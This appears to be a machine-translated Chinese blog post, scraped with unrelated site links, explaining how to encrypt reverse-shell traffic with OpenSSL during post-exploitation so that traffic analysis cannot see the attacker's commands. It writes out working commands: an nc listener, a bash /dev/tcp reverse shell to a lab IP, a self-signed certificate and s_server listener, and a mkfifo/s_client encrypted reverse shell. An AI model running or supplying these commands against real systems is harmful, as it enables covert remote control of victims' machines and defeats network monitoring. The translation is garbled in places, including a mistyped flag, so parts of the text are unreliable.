当前位置:网站首页>Using OpenSSL encryption to rebound shell traffic
Using OpenSSL encryption to rebound shell traffic
2022-07-01 18:34:00 【Cheng-ling】
brief introduction
In the post penetration stage, it is often necessary to rebound for further horizontal operation shell, But rebound shell There is a drawback to both methods , Traffic is transmitted in clear text . Traffic analysis will soon be found , If you trace the attack traffic , Detect features with attacks , You can reproduce the attack process .
Experimental environment
kali:192.168.95.128
centos:192.168.95.147
Wireshark Grab the bag
stay kali Upper use nc Listening on a port
nc -lvvp 4444
take centos Of shell Bounce past
bash -i >& /dev/tcp/192.168.95.128/4444 0>&1
Use wireshark Grab traffic packets , Bounce back shell Then execute some commands
Right click to track tcp Stream query to see details
Use wireshark You can directly see the input command and return information by capturing packets
OpenSSL Rebound encryption shell
OpenSSL Is an open source software library package , Applications can use this package for secure communication , Avoid eavesdropping , At the same time, confirm the identity of the connector at the other end .
Use on the server openssl Command generates a self signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Certificate information can be entered or not
Use on the server openssl Command listens on a port
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Use the command to execute the bounce on the client target host
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quite -connect 192.168.95.128:4444>/tmp/s;rm /tmp/s
Use wireshark Grab traffic packets , Received a rebound shell Then execute some commands
Check it again wireshark Captured traffic packets , It's encrypted
The server and client are using TLSv1.2 Protocol for encrypted communication .
Conclusion
I have eaten all the bitterness , If you haven't grown up , You'll lose .
边栏推荐
- Is Huishang futures a regular futures platform? Is it safe to open an account in Huishang futures?
- C# SelfHost WebAPI (2)
- What are the legal risks of NFT brought by stars such as curry and O'Neill?
- Explain in detail the process of realizing Chinese text classification by CNN
- Leetcode problem solving series -- continuous positive sequence with sum as s (sliding window)
- Mujoco's biped robot Darwin model
- Glidefast consulting was selected as the elite partner of servicenow in 2022
- Easycvr accesses the equipment through the national standard gb28181 protocol. What is the reason for the automatic streaming of the equipment?
- Opencv map reading test -- error resolution
- Is Alipay wallet convenient to use?
猜你喜欢
t10_ Adapting to Market Participantsand Conditions
Oracle TRUNC function processing date format
Highly reliable program storage and startup control system based on anti fuse FPGA and QSPI flash
What are the legal risks of NFT brought by stars such as curry and O'Neill?
What impact will multinational encryption regulation bring to the market in 2022
. Net cloud native architect training camp (permission system code implements actionaccess) -- learning notes
Basic concepts of binary tree
12. Design of power divider for ads usage record
[PHP foundation] realize the connection between PHP and SQL database
[beauty detection artifact] come on, please show your unique skill (is this beauty worthy of the audience?)
随机推荐
Batch export all pictures in PPT in one second
From comedians to NBA Zhan Huang, check the encrypted advertisements during this super bowl
Draw drawing process of UI drawing process
主成分之综合竞争力案例分析
Fix the problem that easycvr device video cannot be played
Distributed task queue: Celery usage record
Work and leisure suggestions of old programmers
MES production equipment manufacturing execution system software
APK签名流程介绍[通俗易懂]
Bug of QQ browser article comment: the commentator is wrong
EasyCVR设备录像出现无法播放现象的问题修复
[today in history] February 15: Pascal's father was born; YouTube was founded; Kotlin language comes out
What are the legal risks of NFT brought by stars such as curry and O'Neill?
Basic usage of shell script
Talk about the favorite tools used by project managers
Roll out! Enlightenment!
D. Yet Another Minimization Problem
传感器尺寸、像素、DPI分辨率、英寸、毫米的关系
Apache iceberg source code analysis: schema evolution
Definition of rotation axis in mujoco